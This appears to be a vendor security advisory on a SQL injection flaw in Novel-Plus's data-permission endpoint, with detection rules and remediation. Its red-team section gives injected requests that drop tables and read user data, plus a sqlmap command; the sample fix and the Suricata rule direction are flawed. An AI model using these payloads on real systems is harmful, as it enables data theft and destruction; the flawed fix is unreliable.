CVE-2024-24018

Executive Summary

CVE-2024-24018 is a critical SQL injection vulnerability discovered in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the /system/dataPerm/list endpoint, where the offset, limit, and sort parameters are not properly sanitized before being passed to SQL queries. An authenticated attacker can exploit this to inject arbitrary SQL commands, leading to unauthorized data access, data manipulation, and potential full database compromise. The vulnerability has a CVSS v3.1 base score of 8.8 (High), with a vector string of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

Novel-Plus is a Java-based open-source novel management system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own codebase. However, organizations using Novel-Plus should verify their deployment version and ensure no malicious dependencies have been introduced through the supply chain.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker must have a valid user account with at least basic privileges.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database contents can be read.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database operations can be disrupted.

Threat Level: High. The combination of low privileges required and high impact makes this a serious threat for any organization running Novel-Plus.

Deep Dive & Mechanics

The vulnerability exists in the /system/dataPerm/list endpoint, which is used to list data permissions. The application constructs SQL queries using user-supplied values for offset, limit, and sort parameters without proper sanitization or parameterized queries. An attacker can inject SQL keywords or operators into these parameters to alter the query's logic.

For example, the sort parameter might be used in an ORDER BY clause. By injecting a payload like 1; DROP TABLE users; --, the attacker can execute arbitrary SQL commands. The offset and limit parameters are typically used in LIMIT and OFFSET clauses, which are also vulnerable to injection.

The underlying issue is the use of string concatenation to build SQL queries instead of prepared statements or parameterized queries. This allows an attacker to break out of the intended SQL syntax and inject their own commands.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

// Vulnerable: Direct string concatenation
String sql = "SELECT * FROM data_perm ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Hypothetical fix):

// Patched: Use parameterized queries
String sql = "SELECT * FROM data_perm ORDER BY ? LIMIT ? OFFSET ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, sort);
pstmt.setInt(2, limit);
pstmt.setInt(3, offset);
ResultSet rs = pstmt.executeQuery();

Note: The sort parameter in ORDER BY cannot be parameterized directly in standard SQL. A safer approach is to validate the sort value against a whitelist of allowed column names.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on Novel-Plus (any role with access to the data permission list).
• Network access to the /system/dataPerm/list endpoint.

Exploitation Steps:

1. Authenticate to Novel-Plus and obtain a session token.
2. Craft a malicious request to the /system/dataPerm/list endpoint with injected parameters.

Example Payload (using sort parameter):

GET /system/dataPerm/list?offset=0&limit=10&sort=1;SELECT+*+FROM+users;-- HTTP/1.1
Host: target-novel-plus.com
Cookie: JSESSIONID=valid_session_id

Example Payload (using offset parameter):

GET /system/dataPerm/list?offset=0;DROP+TABLE+logs;--&limit=10&sort=id HTTP/1.1
Host: target-novel-plus.com
Cookie: JSESSIONID=valid_session_id

Automated Exploitation with sqlmap:

sqlmap -u "http://target-novel-plus.com/system/dataPerm/list?offset=0&limit=10&sort=id" --cookie="JSESSIONID=valid_session_id" --batch --dbs

Blue Team

Detection Steps:

1. Monitor web server logs for unusual patterns in the offset, limit, and sort parameters.
2. Look for SQL keywords (SELECT, UNION, DROP, INSERT, etc.) in these parameters.
3. Enable database query logging to capture all SQL statements executed by the application.
4. Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.

Honeypot Setup:

• Deploy a decoy Novel-Plus instance with enhanced logging.
• Monitor for any requests containing SQL keywords in the vulnerable parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /system/dataPerm/list with unusual characters in offset, limit, or sort parameters.
  • SQL keywords (SELECT, UNION, DROP, INSERT, UPDATE, DELETE, --, #, ') in the query string.
  • Multiple rapid requests to the same endpoint from a single IP.

• Host IOCs:

  • Unexpected database errors in application logs.
  • New database users or permissions created.
  • Unusual database queries in the database server logs.
  • Modified or deleted data in the data_perm table or other tables.

• File IOCs:

  • Suspicious files in the web root (e.g., webshells).
  • Modified application configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_24018_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-24018 in Novel-Plus"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24018"
        severity = "high"
    strings:
        $sqli_pattern1 = /offset=[^&]*['\"]/ nocase
        $sqli_pattern2 = /limit=[^&]*['\"]/ nocase
        $sqli_pattern3 = /sort=[^&]*['\"]/ nocase
        $sqli_keyword = /(SELECT|UNION|DROP|INSERT|UPDATE|DELETE|--|#)/ nocase
    condition:
        any of ($sqli_pattern*) and $sqli_keyword
}

Sigma Rule

title: CVE-2024-24018 SQL Injection in Novel-Plus
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against the /system/dataPerm/list endpoint in Novel-Plus
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24018
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/system/dataPerm/list'
        cs-uri-query|re:
            - 'offset=.*['\"]'
            - 'limit=.*['\"]'
            - 'sort=.*['\"]'
    keywords:
        - 'SELECT'
        - 'UNION'
        - 'DROP'
        - 'INSERT'
        - 'UPDATE'
        - 'DELETE'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24018 SQL Injection Attempt in Novel-Plus"; flow:to_server,established; content:"/system/dataPerm/list"; http_uri; pcre:"/(offset|limit|sort)=[^&]*['\"]/Ui"; pcre:"/(SELECT|UNION|DROP|INSERT|UPDATE|DELETE|--|#)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Input Validation: Implement strict input validation for the offset, limit, and sort parameters. Use a whitelist for sort (e.g., only allow column names like id, name, create_time). For offset and limit, ensure they are integers.
3. Parameterized Queries: Rewrite the database access code to use prepared statements or parameterized queries. For the sort parameter, use a whitelist approach.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns.
5. Least Privilege: Ensure the database user used by Novel-Plus has only the necessary permissions (e.g., SELECT, INSERT, UPDATE on specific tables, not DROP or CREATE).

Long-Term Fixes:

• Code Review: Conduct a thorough code review of all database interactions to identify and fix similar vulnerabilities.
• Security Training: Train developers on secure coding practices, especially regarding SQL injection prevention.
• Regular Updates: Keep Novel-Plus and all dependencies up to date.

Valters IT